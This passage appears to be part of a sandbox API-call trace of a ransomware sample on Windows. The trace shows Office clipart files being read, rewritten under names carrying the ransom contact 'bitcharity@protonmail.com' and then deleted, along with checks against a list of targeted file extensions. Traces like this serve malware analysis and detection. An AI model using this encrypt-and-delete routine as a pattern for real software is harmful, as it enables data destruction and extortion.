lpNewFilePointer=0x0) returned 1 [0296.779] SetEndOfFile (hFile=0x10b8) returned 1 [0296.780] CloseHandle (hObject=0x10b8) returned 1 [0296.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0296.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.780] lstrlenW (lpString=".doc") returned 4 [0296.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString=".docx") returned 5 [0296.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.781] lstrlenW (lpString=".pdf") returned 4 [0296.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString=".xls") returned 4 [0296.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.781] lstrlenW (lpString=".xlsx") returned 5 [0296.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.781] lstrlenW (lpString=".ppt") returned 4 [0296.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString=".zip") returned 4 [0296.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.781] lstrlenW (lpString=".rar") returned 4 [0296.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString=".bz2") returned 4 [0296.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString=".7z") returned 3 [0296.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString=".dbf") returned 4 [0296.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString=".1cd") returned 4 [0296.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString=".jpg") returned 4 [0296.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.781] lstrlenW (lpString=".doc") returned 4 [0296.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.781] lstrlenW (lpString=".docx") returned 5 [0296.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.782] lstrlenW (lpString=".pdf") returned 4 [0296.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString=".xls") returned 4 [0296.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.782] lstrlenW (lpString=".xlsx") returned 5 [0296.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.782] lstrlenW (lpString=".ppt") returned 4 [0296.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.782] lstrlenW (lpString=".zip") returned 4 [0296.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.782] lstrlenW (lpString=".rar") returned 4 [0296.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString=".bz2") returned 4 [0296.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString=".7z") returned 3 [0296.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.782] lstrlenW (lpString=".dbf") returned 4 [0296.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.782] lstrlenW (lpString=".1cd") returned 4 [0296.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0296.782] lstrlenW (lpString=".jpg") returned 4 [0296.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.783] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.783] lstrlenW (lpString="EN00202_.WMF") returned 12 [0296.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.783] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6938) returned 1 [0296.783] CloseHandle (hObject=0x10b8) returned 1 [0296.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0296.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.783] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.784] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.784] GetLastError () returned 0x0 [0296.784] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0296.794] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0296.795] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.795] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.795] SetEndOfFile (hFile=0x10b0) returned 1 [0296.795] CloseHandle (hObject=0x10b0) returned 1 [0296.795] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.795] SetEndOfFile (hFile=0x10b8) returned 1 [0296.796] CloseHandle (hObject=0x10b8) returned 1 [0296.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0296.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.797] lstrlenW (lpString=".doc") returned 4 [0296.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.797] lstrlenW (lpString=".docx") returned 5 [0296.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.797] lstrlenW (lpString=".pdf") returned 4 [0296.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.797] lstrlenW (lpString=".xls") returned 4 [0296.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.797] lstrlenW (lpString=".xlsx") returned 5 [0296.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.797] lstrlenW (lpString=".ppt") returned 4 [0296.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.797] lstrlenW (lpString=".zip") returned 4 [0296.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.797] lstrlenW (lpString=".rar") returned 4 [0296.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.797] lstrlenW (lpString=".bz2") returned 4 [0296.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.797] lstrlenW (lpString=".7z") returned 3 [0296.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.797] lstrlenW (lpString=".dbf") returned 4 [0296.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.798] lstrlenW (lpString=".1cd") returned 4 [0296.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.798] lstrlenW (lpString=".jpg") returned 4 [0296.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.798] lstrlenW (lpString=".doc") returned 4 [0296.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString=".docx") returned 5 [0296.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.798] lstrlenW (lpString=".pdf") returned 4 [0296.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString=".xls") returned 4 [0296.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.798] lstrlenW (lpString=".xlsx") returned 5 [0296.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.798] lstrlenW (lpString=".ppt") returned 4 [0296.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.798] lstrlenW (lpString=".zip") returned 4 [0296.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.798] lstrlenW (lpString=".rar") returned 4 [0296.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString=".bz2") returned 4 [0296.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.798] lstrlenW (lpString=".7z") returned 3 [0296.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.799] lstrlenW (lpString=".dbf") returned 4 [0296.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.799] lstrlenW (lpString=".1cd") returned 4 [0296.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0296.799] lstrlenW (lpString=".jpg") returned 4 [0296.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.799] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.799] lstrlenW (lpString="EN00242_.WMF") returned 12 [0296.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.800] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6780) returned 1 [0296.800] CloseHandle (hObject=0x10b8) returned 1 [0296.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0296.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.800] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.800] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.801] GetLastError () returned 0x0 [0296.801] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0297.471] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1a80, lpOverlapped=0x0) returned 1 [0297.472] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.472] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.472] SetEndOfFile (hFile=0x10b0) returned 1 [0297.472] CloseHandle (hObject=0x10b0) returned 1 [0297.472] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.472] SetEndOfFile (hFile=0x10b8) returned 1 [0297.473] CloseHandle (hObject=0x10b8) returned 1 [0297.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0297.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.474] lstrlenW (lpString=".doc") returned 4 [0297.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.474] lstrlenW (lpString=".docx") returned 5 [0297.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.474] lstrlenW (lpString=".pdf") returned 4 [0297.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.474] lstrlenW (lpString=".xls") returned 4 [0297.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.474] lstrlenW (lpString=".xlsx") returned 5 [0297.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.474] lstrlenW (lpString=".ppt") returned 4 [0297.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.474] lstrlenW (lpString=".zip") returned 4 [0297.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.474] lstrlenW (lpString=".rar") returned 4 [0297.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.474] lstrlenW (lpString=".bz2") returned 4 [0297.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString=".7z") returned 3 [0297.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString=".dbf") returned 4 [0297.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString=".1cd") returned 4 [0297.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString=".jpg") returned 4 [0297.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString=".doc") returned 4 [0297.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString=".docx") returned 5 [0297.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.475] lstrlenW (lpString=".pdf") returned 4 [0297.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString=".xls") returned 4 [0297.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.475] lstrlenW (lpString=".xlsx") returned 5 [0297.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.475] lstrlenW (lpString=".ppt") returned 4 [0297.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.475] lstrlenW (lpString=".zip") returned 4 [0297.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.476] lstrlenW (lpString=".rar") returned 4 [0297.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.476] lstrlenW (lpString=".bz2") returned 4 [0297.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.476] lstrlenW (lpString=".7z") returned 3 [0297.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.476] lstrlenW (lpString=".dbf") returned 4 [0297.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.476] lstrlenW (lpString=".1cd") returned 4 [0297.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0297.476] lstrlenW (lpString=".jpg") returned 4 [0297.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.476] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.476] lstrlenW (lpString="EN00902_.WMF") returned 12 [0297.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.477] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=7944) returned 1 [0297.477] CloseHandle (hObject=0x10b8) returned 1 [0297.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0297.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.477] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.477] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.478] GetLastError () returned 0x0 [0297.478] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0297.580] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0297.581] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.582] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.582] SetEndOfFile (hFile=0x10b0) returned 1 [0297.582] CloseHandle (hObject=0x10b0) returned 1 [0297.582] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.582] SetEndOfFile (hFile=0x10b8) returned 1 [0297.583] CloseHandle (hObject=0x10b8) returned 1 [0297.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 